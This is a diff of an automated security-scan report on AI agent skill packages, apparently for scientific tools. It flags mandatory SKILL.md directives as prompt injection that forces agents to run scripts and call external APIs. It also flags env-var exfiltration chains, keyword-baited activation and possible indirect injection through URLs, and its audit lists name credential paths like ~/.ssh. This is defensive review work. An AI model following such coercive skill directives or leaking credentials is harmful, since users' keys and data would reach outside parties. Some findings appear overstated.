The use of a fictional/marketing name ('Nano Banana 2') for what appears to be a Google Gemini model could mislead users about which AI system is processing their clinical research data, affecting informed consent and data governance decisions.+ > File: `scripts/generate_schematic_ai.py`+ > **Remediation:** Use accurate, consistent model names in documentation and code comments. Do not use marketing aliases that obscure the actual AI provider processing user data, especially in clinical/pharmaceutical contexts where data governance is critical.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via Environment Variable and External Network Calls- > The generate_schematic_ai.py script reads the OPENROUTER_API_KEY environment variable and transmits it as a Bearer token in HTTP Authorization headers to an external API endpoint (https://openrouter.ai/api/v1). While OpenRouter is a legitimate service, the pattern of reading sensitive credentials from the environment and sending them to an external server represents a data exfiltration risk. The API key is also passed through subprocess calls in generate_schematic.py, creating a cross-file credential exposure chain. The static analyzer flagged this as BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION and BEHAVIOR_ENV_VAR_EXFILTRATION.- > File: `scripts/generate_schematic_ai.py:68`- > **Remediation:** 1. Document clearly that OPENROUTER_API_KEY is required and explain what it is used for. 2. Ensure the API key is scoped to minimum necessary permissions. 3. Avoid passing API keys through subprocess environment copies unless strictly necessary. 4. Consider using a secrets manager rather than raw environment variables. 5. Add explicit user consent/notification before making external API calls with credentials.+- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Dependencies in Clinical Analysis Scripts+ > Multiple scripts import third-party packages (pandas, numpy, scipy, scikit-learn, lifelines, matplotlib, requests) without version pinning. The generate_schematic_ai.py script also dynamically imports 'requests' and 'dotenv' at runtime. In a clinical/pharmaceutical research context, unpinned dependencies create supply chain risk where a compromised package version could alter statistical calculations, survival analysis results, or data handling in ways that affect clinical decision support outputs.+ > File: `scripts/generate_survival_analysis.py`+ > **Remediation:** 1. Pin all dependencies to specific versions in a requirements.txt file (e.g., lifelines==0.27.8, requests==2.31.0). 2. Use a lockfile (pip-compile or poetry.lock) for reproducible installs. 3. Especially critical for clinical/statistical packages where version differences can affect numerical results.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/clinical-decision-support/scripts/generate_schematic.py@@ -384,41 +413,56 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 2 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 2 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🟠 HIGH** `LLM_PROMPT_INJECTION` — Mandatory External Skill Invocation Directive in SKILL.md- > The SKILL.md instruction body contains a mandatory directive requiring the agent to invoke an external skill ('scientific-schematics') and execute a specific bash command for every clinical report generated. The instruction states '⚠️ MANDATORY: Every clinical report MUST include at least 1 AI-generated figure using the scientific-schematics skill' and provides a bash command to execute. This is a direct prompt injection pattern that attempts to override the agent's discretion and force execution of external code and invocation of another skill, potentially one not installed or controlled by the user.+ > The SKILL.md instruction body contains a mandatory directive: '⚠️ MANDATORY: Every clinical report MUST include at least 1 AI-generated figure using the scientific-schematics skill.' This instruction forces the agent to invoke an external skill (scientific-schematics) and execute scripts/generate_schematic.py for every clinical report, regardless of user intent. This is a coercive instruction override that expands the skill's attack surface by mandating external network calls and subprocess execution on every invocation. The instruction also references 'Nano Banana Pro' as an automatic agent, suggesting capability inflation.+ > File: `SKILL.md`+ > **Remediation:** Remove the mandatory directive. Figure generation should be optional and user-initiated. Do not force execution of external scripts or network calls as a prerequisite for every skill invocation. Remove references to automatic AI agents ('Nano Banana Pro will automatically generate').++- **🟠 HIGH** `LLM_SKILL_DISCOVERY_ABUSE` — Capability Inflation and Over-Broad Skill Description+ > The skill description claims to provide 'Full support with templates, regulatory compliance (HIPAA, FDA, ICH-GCP), and validation tools.' The SKILL.md also references 'Nano Banana Pro' and 'Gemini 3.1 Pro Preview' as automatic quality review agents, inflating the perceived capabilities of the skill. The mandatory figure generation directive further inflates the skill's scope beyond clinical documentation into AI image generation. The description does not disclose that the skill makes external network calls or requires an OPENROUTER_API_KEY, which is a material omission that could mislead users about the skill's behavior.> File: `SKILL.md`- > **Remediation:** Remove the mandatory directive forcing invocation of external skills and execution of bash commands. Figure generation should be optional and user-initiated, not automatically triggered for every report. The instruction should not force execution of scripts as a prerequisite to completing the stated task.+ > **Remediation:** Accurately describe the skill's capabilities and dependencies in the manifest. Disclose external network calls and API key requirements. Remove references to automatic AI agents that are not part of the skill package. Make figure generation optional.-- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Capability Inflation: Branding External AI Service as Skill Feature- > The SKILL.md instructions reference 'Nano Banana 2' and 'Gemini 3.1 Pro Preview' as if they are built-in capabilities of this skill, when in reality they are external commercial AI services accessed via the OpenRouter API. The description claims 'Nano Banana Pro will automatically generate, review, and refine the schematic' without disclosing that this requires an external paid API key and makes network calls. This inflates the perceived capabilities of the skill and obscures the external dependencies and costs involved.+- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — Unauthorized Tool Use - Bash Execution for External API Calls+ > The allowed-tools field declares 'Read Write Edit Bash', which permits Bash execution. The SKILL.md instructions explicitly direct the agent to run 'python scripts/generate_schematic.py' via Bash for every clinical report. This Bash execution triggers external network calls to openrouter.ai that are not disclosed in the skill manifest or description. The combination of Bash tool permission and mandatory script execution creates an unauthorized data flow from the user's environment to external servers.> File: `SKILL.md`- > **Remediation:** Clearly disclose in the skill description and SKILL.md that schematic generation requires an external paid API (OpenRouter), specific model access, and network connectivity. Do not present external commercial services as built-in skill capabilities.+ > **Remediation:** Remove the mandatory Bash execution directive. If Bash is needed for legitimate purposes, restrict its use to local operations only. Disclose any external network calls in the skill manifest.-- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Unauthorized Tool Use: Bash Execution Triggered by Instructions for Document Generation- > The SKILL.md instructions direct the agent to execute a Bash command (python scripts/generate_schematic.py) as a mandatory step for every clinical report. While Bash is listed in allowed-tools, the instructions use this capability to force execution of an external AI image generation pipeline that makes network calls to openrouter.ai. This goes beyond the stated skill purpose of clinical report writing and constitutes tool exploitation by using Bash access to trigger network-dependent AI generation workflows without explicit user consent for each invocation.+- **🔵 LOW** `LLM_HARMFUL_CONTENT` — Misleading HIPAA Compliance Claims in Skill Description+ > The skill claims to provide 'regulatory compliance (HIPAA, FDA, ICH-GCP)' and includes HIPAA compliance checklists and de-identification scripts. However, the skill itself makes external network calls (via generate_schematic_ai.py) that could transmit clinical data (the diagram description prompt) to external servers (openrouter.ai). This creates a contradiction where the skill claims HIPAA compliance while potentially transmitting PHI-containing prompts to third-party AI services without user awareness or BAA documentation.> File: `SKILL.md`- > **Remediation:** Remove the mandatory bash execution directive from the instructions. If schematic generation is desired, it should be presented as an optional feature that users explicitly opt into, not an automatic step triggered for every report.+ > **Remediation:** Remove HIPAA compliance claims if the skill transmits data to external services. If external AI services are used, clearly disclose this in the skill description and require users to ensure appropriate BAAs are in place before using the skill with real patient data.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain: generate_schematic.py Passes API Key to Subprocess- > scripts/generate_schematic.py reads OPENROUTER_API_KEY from the environment and passes it to a child subprocess (generate_schematic_ai.py) via os.environ.copy(). This creates a cross-file exfiltration chain where the API key flows from environment -> generate_schematic.py -> subprocess environment -> generate_schematic_ai.py -> external HTTP request. The static analyzer explicitly flagged BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN for this pattern.+- **🔴 CRITICAL** `LLM_COMMAND_INJECTION` — Arbitrary Subprocess Execution via generate_schematic.py+ > generate_schematic.py constructs a subprocess command using user-controlled input (the prompt argument) and executes it via subprocess.run(). The prompt is passed directly as a command-line argument to generate_schematic_ai.py. While the prompt is passed as a list (not shell=True), the downstream script receives it and passes it to an external API. Additionally, the script passes the API key via environment variables to the child process, creating a privilege escalation path where user-supplied prompt content is executed in a subprocess with access to sensitive environment variables.> File: `scripts/generate_schematic.py:95`- > **Remediation:** Document the full data flow of API keys in the skill manifest. Ensure users are aware that their environment variables are being read and transmitted externally. Consider using a more restricted credential passing mechanism rather than copying the full environment.+ > **Remediation:** Avoid subprocess execution of user-controlled content. If subprocess execution is necessary, strictly validate and sanitize all inputs. Do not pass sensitive environment variables (API keys) to child processes unless absolutely required.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Potential Exposure of Full Environment via subprocess.env Copy- > In generate_schematic.py, the full process environment is copied (os.environ.copy()) and passed to the subprocess. This means all environment variables present in the agent's environment—potentially including other API keys, credentials, tokens, or sensitive configuration—are passed to the child process, not just the OPENROUTER_API_KEY. While this is a common pattern, in the context of an agent skill it represents unnecessary credential exposure.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Environment Variable Exfiltration Chain+ > The static analyzer identified a cross-file exfiltration chain spanning generate_schematic.py and generate_schematic_ai.py. The parent script (generate_schematic.py) reads OPENROUTER_API_KEY from the environment and passes it to the child script via os.environ.copy(). The child script then uses this key to make authenticated HTTP POST requests to openrouter.ai. This two-stage chain obscures the exfiltration path and makes it harder to detect during manual review. The env=env parameter in subprocess.run() passes the full environment (including all environment variables) to the child process.> File: `scripts/generate_schematic.py:98`- > **Remediation:** Pass only the minimum required environment variables to the subprocess rather than copying the entire environment. Create a minimal env dict with only the variables needed by the child process.+ > **Remediation:** Do not pass the full environment copy to subprocess calls. If API keys must be passed, use a minimal environment. Consider whether external API calls are necessary for a clinical documentation skill at all.++- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Dependency - requests Library+ > The generate_schematic_ai.py script imports the 'requests' library without version pinning. The script checks for its presence and exits if not found, but does not specify a version. An attacker who can influence the Python environment could substitute a malicious version of the requests library to intercept API keys or modify network traffic. This is a supply chain risk in a script that handles sensitive API credentials.+ > File: `scripts/generate_schematic_ai.py:18`+ > **Remediation:** Pin the requests library to a specific version (e.g., requests==2.31.0) and verify its integrity using hash checking. Consider using a requirements.txt with pinned versions for all dependencies.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via External Network Calls in generate_schematic_ai.py- > The script generate_schematic_ai.py reads the OPENROUTER_API_KEY environment variable and transmits it to an external server (https://openrouter.ai/api/v1). While the stated purpose is AI image generation, the script also reads the API key from environment variables and sends it in HTTP Authorization headers to an external endpoint. This constitutes environment variable harvesting combined with external network transmission. The key is passed via subprocess to generate_schematic.py as well, creating a cross-file exfiltration chain. The static analyzer flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION for this pattern.+- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via External Network Calls in generate_schematic_ai.py+ > The script generate_schematic_ai.py reads the OPENROUTER_API_KEY environment variable and transmits it to an external server (https://openrouter.ai/api/v1). While the stated purpose is AI image generation, the script also reads the API key from environment variables and passes it in HTTP Authorization headers to an external endpoint. The cross-file chain (generate_schematic.py → generate_schematic_ai.py) means the agent is instructed to invoke this exfiltration path as part of normal clinical report generation. The SKILL.md mandates that EVERY clinical report MUST include at least one AI-generated figure, forcing this code path to execute unconditionally.> File: `scripts/generate_schematic_ai.py:130`- > **Remediation:** Restrict network calls to explicitly user-approved endpoints. Require explicit user confirmation before transmitting API keys to external services. Document clearly in SKILL.md that this skill makes external network calls and transmits API credentials. Consider whether this external dependency is necessary for a clinical documentation skill.+ > **Remediation:** Remove mandatory external API calls from clinical report generation. If AI figure generation is desired, make it strictly optional and require explicit user consent. Do not read environment variables and transmit them to external services. Validate that the external endpoint is legitimate and necessary before including such functionality in a clinical skill.++- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Sensitive Data in Review Log Files+ > The generate_schematic_ai.py script saves a review log to disk as a JSON file containing the full prompt, critique, and generation metadata. The log file is saved to the output directory as '{base_name}_review_log.json'. If the prompt contains sensitive clinical information (which is likely given this is a clinical reports skill), this data is persisted to disk in a potentially insecure location. The log also contains the doc_type and quality_threshold, which could reveal information about the document being created.+ > File: `scripts/generate_schematic_ai.py:370`+ > **Remediation:** Do not persist sensitive clinical data to disk in log files. If logging is necessary, sanitize the content to remove any PHI or sensitive information before writing. Provide an option to disable logging.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/clinical-reports/scripts/generate_schematic.py@@ -435,115 +479,98 @@> File: `skills/clinical-reports/scripts/generate_schematic_ai.py`> **Remediation:** Remove environment variable collection unless explicitly required and documented-### dask — 🔴 CRITICAL--- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Environment Variable Exfiltration with Network Calls Detected- > Static analysis flagged a cross-file exfiltration chain involving environment variable access combined with network calls across 2 files. The skill package contains Python files (10 total per file inventory) that were not surfaced in the provided content, but the static analyzer detected BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN patterns. This indicates that one or more Python scripts in the package read environment variables (potentially harvesting credentials, API keys, or tokens from the environment) and transmit them via network calls to external endpoints. This is a classic credential harvesting and data exfiltration pattern.- > **Remediation:** Immediately inspect all 10 Python files in the skill package for: (1) os.environ, os.getenv, or dotenv calls combined with requests/urllib/httpx network calls; (2) any hardcoded URLs pointing to external servers; (3) any base64-encoded or obfuscated payloads. Remove all network exfiltration code. The skill's stated purpose (Dask distributed computing guidance) does not require reading environment variables and sending them externally.+### dhdna-profiler — 🔴 CRITICAL-- **🟠 HIGH** `LLM_OBFUSCATION` — Potential Obfuscation via Hidden Executable Files- > The skill package contains 10 Python files that were not surfaced in the analysis content, despite the static analyzer detecting active malicious behavioral patterns within them. The professional, detailed, and legitimate-looking SKILL.md and reference documentation may serve as a distraction or cover for malicious Python scripts bundled in the package. The cross-file nature of the exfiltration chain (spanning 2 files) suggests deliberate splitting of malicious logic to evade single-file detection.- > File: `SKILL.md`- > **Remediation:** Inspect all Python files for split/staged malicious logic. Look for: (1) one file that reads env vars or credentials, (2) another file that performs the network transmission, (3) any import chains between these files. Check for base64 decoding, exec() calls, or dynamic imports that could stage additional payloads.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Static Analysis Flags Environment Variable Exfiltration and Cross-File Exfiltration Chain+ > The pre-scan static analysis has flagged serious behavioral indicators: BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls), BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN (cross-file exfiltration chain across 2 files), and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION (cross-file environment variable exfiltration across 2 files). The file inventory reports 32 total files (22 markdown, 10 Python scripts), yet the skill submission claims 'No script files found.' This is a critical discrepancy — 10 Python files exist in the package but were not surfaced for review. The static analyzer's findings strongly suggest that hidden Python scripts in this package perform credential/environment variable harvesting and transmit data to external endpoints.+ > **Remediation:** All Python and Bash scripts in the skill package must be disclosed and reviewed. The 10 Python files flagged by static analysis must be audited for environment variable access (os.environ, os.getenv), network calls (requests, urllib, http.client, socket), and file read operations targeting sensitive paths (~/.aws, ~/.ssh, ~/.config). Any script performing env var harvesting combined with outbound network calls must be removed or sandboxed.-- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — Undisclosed Python Scripts Not Surfaced for Review- > The file inventory reports 10 Python files in the skill package, but none were provided for analysis. The static analyzer detected malicious behavioral patterns (env var exfiltration chains) in these hidden Python files. The SKILL.md instructions and reference documentation appear legitimate and benign, but the actual executable Python scripts — which the agent can run via the allowed Bash/Python tools — contain the malicious behavior. This constitutes tool poisoning: the skill presents a clean, professional documentation facade while bundling malicious executable code.+- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Undisclosed Python Scripts with Suspected Data Exfiltration Behavior+ > The skill package contains 10 Python scripts that were not disclosed in the skill submission (listed as 'No script files found'). The static analyzer has independently detected cross-file exfiltration chains and environment variable exfiltration patterns across these files. This combination — hidden scripts, env var access, and network calls — is a hallmark of a data exfiltration attack. The skill's stated purpose (cognitive text profiling) requires no Python scripts, no environment variable access, and no network calls, making the presence of these behaviors entirely unjustified and highly suspicious.> File: `SKILL.md`- > **Remediation:** All Python files must be audited before deployment. The discrepancy between the benign-appearing SKILL.md and the malicious static analysis findings strongly suggests intentional concealment. Do not deploy this skill until all Python files are reviewed and the exfiltration code is removed.+ > **Remediation:** Immediately quarantine and audit all 10 Python files. Do not install or execute this skill package until a full code review is completed. If any script reads environment variables (API keys, tokens, credentials) and makes outbound HTTP/HTTPS requests, treat the package as malicious and report it. The skill's legitimate functionality (text analysis and scoring) can be implemented entirely within SKILL.md instructions without any Python scripts.-- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Skill Description References Competing Tools to Manipulate Activation- > The skill description explicitly names and positions competing tools (vaex, polars) with specific use-case guidance ('For out-of-core analytics on single machine use vaex; for in-memory speed use polars'). While this could be legitimate guidance, it also functions as keyword baiting — by including these competitor tool names in the description/manifest, the skill increases its activation surface across a broader range of user queries about data processing tools, not just Dask-specific requests.+- **🟠 HIGH** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims and Keyword Baiting in Description+ > The skill description contains an unusually large number of trigger keywords and phrases designed to maximize activation across a wide range of user queries. Phrases like 'cognitive profile', 'thinking pattern', 'DHDNA', 'digital DNA', 'analyze how this person reasons', 'decision-making style', and 'cognitive signature' are packed into the description to ensure the skill is invoked as broadly as possible. The description also instructs the agent to trigger when users 'provide text and want deeper insight' — an extremely broad activation condition that could cause the skill to activate in many unintended contexts.> File: `SKILL.md`- > **Remediation:** If this skill is otherwise safe, the description is borderline acceptable as competitive positioning. However, given the malicious Python files detected, this broad activation surface is concerning as it maximizes the number of user interactions that trigger the malicious code execution.--### etetoolkit — 🔴 CRITICAL+ > **Remediation:** Narrow the description to a concise, accurate summary of the skill's purpose without embedding extensive keyword lists or overly broad activation triggers. Remove the embedded 'Also trigger when...' instruction from the description field, which is a manifest field, not an instruction field.-- **🟠 HIGH** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Installation (Supply Chain Risk)- > The SKILL.md instructions recommend installing ete3 using 'uv pip install ete3' without specifying a version pin. This exposes the skill to supply chain attacks where a compromised or malicious version of the ete3 package could be installed. The ete3 package also downloads ~300MB of NCBI taxonomy data automatically on first use, which represents an additional external data fetch that could be tampered with.+- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — External DOI/URL References in Instructions May Enable Indirect Prompt Injection+ > The SKILL.md instructions reference two external URLs (Zenodo DOI links) as 'published research' supporting the DHDNA framework. While these appear to be academic preprint links, if the agent is instructed to fetch or follow these links for context, the content at those URLs is untrusted and could contain indirect prompt injection payloads. The instructions do not explicitly tell the agent to fetch these URLs, but their presence in the instruction body creates a potential attack surface if the agent autonomously resolves DOI links.> File: `SKILL.md`- > **Remediation:** Pin the ete3 dependency to a specific known-good version (e.g., 'uv pip install ete3==3.1.3'). Verify the integrity of the NCBI taxonomy database download using checksums. Consider vendoring or caching the dependency.+ > **Remediation:** Remove external URL references from the instruction body, or explicitly instruct the agent NOT to fetch or follow these links. If the references are for human readers only, add a note clarifying they are informational and should not be fetched by the agent.-- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Instruction to Load and Execute External Reference Files- > The SKILL.md instructs the agent to read and act upon content from reference files (references/api_reference.md, references/workflows.md, references/visualization.md). While internal files are generally safe, the instruction pattern 'Load these references when detailed information is needed' combined with the fact that several referenced files were not found (templates/workflows.md, assets/visualization.md, etc.) creates a risk: if any of these missing files are later populated with malicious instructions, the agent will follow them without additional scrutiny. The skill also references 'ete3.py' which was not found.+- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — allowed-tools Declares Write Access Without Justification+ > The YAML manifest declares allowed-tools: [Read, Write], granting the skill write access to the filesystem. The stated purpose of the skill — analyzing text and producing a cognitive profile — requires no file writing capability. The Read permission could be justified if the user provides a file to analyze, but Write access has no legitimate use case for a text analysis skill. Combined with the presence of undisclosed Python scripts and exfiltration indicators, the Write permission could be used to persist malicious payloads, write exfiltrated data to staging files, or modify system files.> File: `SKILL.md`- > **Remediation:** Ensure all referenced files exist within the skill package and are reviewed for malicious content. Remove references to non-existent files. Avoid instructing the agent to blindly follow instructions from files that may be populated later by untrusted parties.+ > **Remediation:** Remove Write from allowed-tools. A cognitive profiling skill that analyzes text and outputs a formatted report has no need to write files. If output saving is desired, it should be an explicit user-initiated action, not a default capability.-- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Missing allowed-tools Declaration- > The skill manifest does not declare an 'allowed-tools' field. Given that the skill executes Python scripts, reads/writes files, and the static analyzer detected potential network calls and environment variable access, the absence of tool restrictions means the agent has no declared boundaries on what tools it may use. This is particularly concerning given the flagged exfiltration patterns.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Compatibility Field Not Specified+ > The YAML manifest does not specify a compatibility field, leaving the deployment context undefined. While this is a minor documentation issue, it reduces transparency about where the skill is intended to operate and what environment assumptions it makes.> File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' declaration to the YAML frontmatter that restricts the skill to only the tools it legitimately needs (e.g., [Python, Read, Write]). This provides a documented security boundary and enables violation detection.--- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with Network Calls (Cross-File Exfiltration Chain)- > The static pre-scan analysis flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 2 files. While the provided script content (scripts/quick_visualize.py and scripts/tree_operations.py) does not visibly contain these patterns, the static analyzer detected environment variable access paired with network calls forming a cross-file exfiltration chain. This is a critical concern: either additional script files not shown in the provided content contain these patterns, or the patterns are obfuscated. The skill package contains 32 files (22 markdown, 10 Python) but only 2 Python scripts were provided for review, leaving 8 Python scripts unreviewed. These unreviewed scripts may contain the flagged exfiltration behavior.- > File: `scripts/quick_visualize.py`- > **Remediation:** Audit all 10 Python scripts in the package, not just the 2 provided. Look for os.environ access, subprocess calls, requests/urllib usage, and any data being sent to external endpoints. Remove or sandbox any network calls that transmit local environment data.+ > **Remediation:** Add a compatibility field specifying the intended platforms (e.g., 'Claude.ai, Claude Code, API') to improve transparency and help users understand the skill's intended deployment context.### fluidsim — 🔴 CRITICAL-- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Environment Variable Exfiltration via Network Call- > Static analysis flagged a cross-file exfiltration chain involving environment variable access combined with network calls across 2 files. The skill references a 'fluidsim.py' file that was not found in the provided content, and multiple template/asset files are also missing. The pre-scan static analyzer detected BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN patterns, indicating that one or more of the unretrieved files (fluidsim.py, templates/*.md, assets/*.md) likely reads environment variables (such as FLUIDSIM_PATH, FLUIDDYN_PATH_SCRATCH, or system credentials) and transmits them to an external server. The skill's instructions normalize setting environment variables, which could be harvested.+- **🟡 MEDIUM** `LLM_RESOURCE_ABUSE` — Unbounded High-Resolution 3D Simulation Resource Exhaustion+ > The skill instructs running 512^3 grid point 3D Navier-Stokes simulations with MPI across 64 cores without any resource limits, time bounds validation, or user confirmation. A user could trigger extremely large simulations (512x512x512 = 134 million grid points) that exhaust CPU, memory, and disk resources on the host system. The parametric study pattern compounds this by running nested loops of such simulations automatically.> File: `SKILL.md`- > **Remediation:** Retrieve and inspect fluidsim.py and all missing template/asset files for network calls (requests, urllib, http.client, socket) combined with os.environ, os.getenv, or credential file reads. Remove any code that transmits local environment data to external endpoints. Ensure all referenced files are present and auditable before deployment.+ > **Remediation:** Add resource guards: validate grid size limits before instantiation, require explicit user confirmation for simulations above a threshold size, and cap parametric study iterations. Document resource requirements prominently.-- **🟠 HIGH** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Without Version Constraints- > The skill instructs the agent to install packages using 'uv pip install fluidsim', 'uv pip install "fluidsim[fft]"', and 'uv pip install "fluidsim[fft,mpi]"' without any version pinning. This exposes the user's environment to supply chain attacks where a compromised or malicious version of the fluidsim package (or its transitive dependencies like fluidfft, pyfftw, mpi4py) could be installed. The lack of version pins means any future malicious release would be automatically installed.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration+ > The SKILL.md manifest does not specify the allowed-tools field. The skill executes Python code, runs bash commands (mpirun, uv pip install, pytest, paraview), writes files, and makes network calls (cluster submission, documentation links). Without an allowed-tools declaration, the agent has no declared scope restriction, potentially activating this skill more broadly than intended.> File: `SKILL.md`- > **Remediation:** Pin all package versions explicitly, e.g., 'uv pip install fluidsim==0.7.3'. Use a lockfile or hash-pinned requirements. Verify package integrity via checksums before installation.+ > **Remediation:** Add an explicit allowed-tools field to the YAML frontmatter listing only the tools required: e.g., allowed-tools: [Python, Bash]. This limits the agent's tool scope when executing this skill.-- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Description Inflating Skill Activation- > The skill description is unusually broad, claiming to handle 'Navier-Stokes equations (2D/3D), shallow water equations, stratified flows, turbulence, vortex dynamics, geophysical flows, pseudospectral methods with FFT, HPC support, and comprehensive output analysis.' This over-broad description increases the likelihood of the skill being activated for a wide range of scientific computing queries beyond its actual scope, potentially displacing more appropriate tools or skills.- > File: `SKILL.md`- > **Remediation:** Narrow the description to accurately reflect the skill's primary use case. Avoid listing every possible sub-capability as activation triggers in the description field.+- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Environment Variable Exfiltration via Network Call+ > Static analysis flagged a cross-file exfiltration chain involving environment variable access combined with network calls. The skill references multiple Python files (10 total per file inventory) that were not provided for review, but the static analyzer detected BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 2 files. The skill instructs setting environment variables (FLUIDSIM_PATH, FLUIDDYN_PATH_SCRATCH, FLUIDSIM_TYPE_FFT2D, FLUIDSIM_TYPE_FFT3D) and the parametric study code in references/advanced_features.md dynamically writes and executes Python scripts. The combination of environment variable access and network calls in unrevealed Python scripts constitutes a high-confidence exfiltration risk.+ > File: `references/advanced_features.md`+ > **Remediation:** Audit all 10 Python files in the skill package for network calls (requests, urllib, socket, http) that occur after reading environment variables or sensitive paths. Remove or sandbox any code that transmits local data externally. Provide full source of all Python scripts for review.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced Files Create Unauditable Attack Surface- > Numerous files referenced in the skill instructions are not present in the package: fluidsim.py, templates/installation.md, templates/output_analysis.md, templates/advanced_features.md, templates/parameters.md, templates/simulation_workflow.md, templates/solvers.md, assets/parameters.md, assets/installation.md, assets/simulation_workflow.md, assets/output_analysis.md, assets/advanced_features.md, assets/solvers.md. These missing files cannot be audited for malicious content. The static analyzer specifically flagged fluidsim.py as part of an exfiltration chain.- > File: `SKILL.md`- > **Remediation:** Ensure all referenced files are included in the skill package and available for security review. Remove references to non-existent files or provide the actual files. Treat any missing file flagged by static analysis as a critical gap requiring immediate investigation.+- **🟠 HIGH** `LLM_COMMAND_INJECTION` — Dynamic Script Generation and Execution in Parametric Study+ > The references/advanced_features.md file contains a pattern where Python script content is dynamically generated using f-strings with user-controlled parameter values (nu, nx) and written to files, then submitted to a cluster scheduler. While the parameters appear numeric in the example, this pattern creates a code injection vector if any user-supplied string values are interpolated into the generated script content without sanitization.+ > File: `references/advanced_features.md`+ > **Remediation:** Validate and sanitize all values interpolated into dynamically generated scripts. Use parameterized configuration files (e.g., JSON/YAML) instead of generating executable Python code from user input. Avoid writing and executing dynamically generated scripts.### hypothesis-generation — 🔴 CRITICAL- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 2 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 2 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py-- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Mandatory External Tool Invocation Without User Consent Disclosure- > The SKILL.md instructions mark schematic generation as '⚠️ MANDATORY' and state 'This is not optional. Hypothesis reports without visual elements are incomplete.' This forces the agent to invoke an external API (openrouter.ai) on every hypothesis generation task without informing the user that their data will be sent to a third-party service. The mandatory framing removes user agency and bypasses informed consent for external data transmission.- > File: `SKILL.md:17`- > **Remediation:** Change the mandatory directive to a recommendation. Add explicit disclosure that figure generation sends data to openrouter.ai. Allow users to opt out of external API calls. The agent should ask for user confirmation before making any external network requests.--- **🔵 LOW** 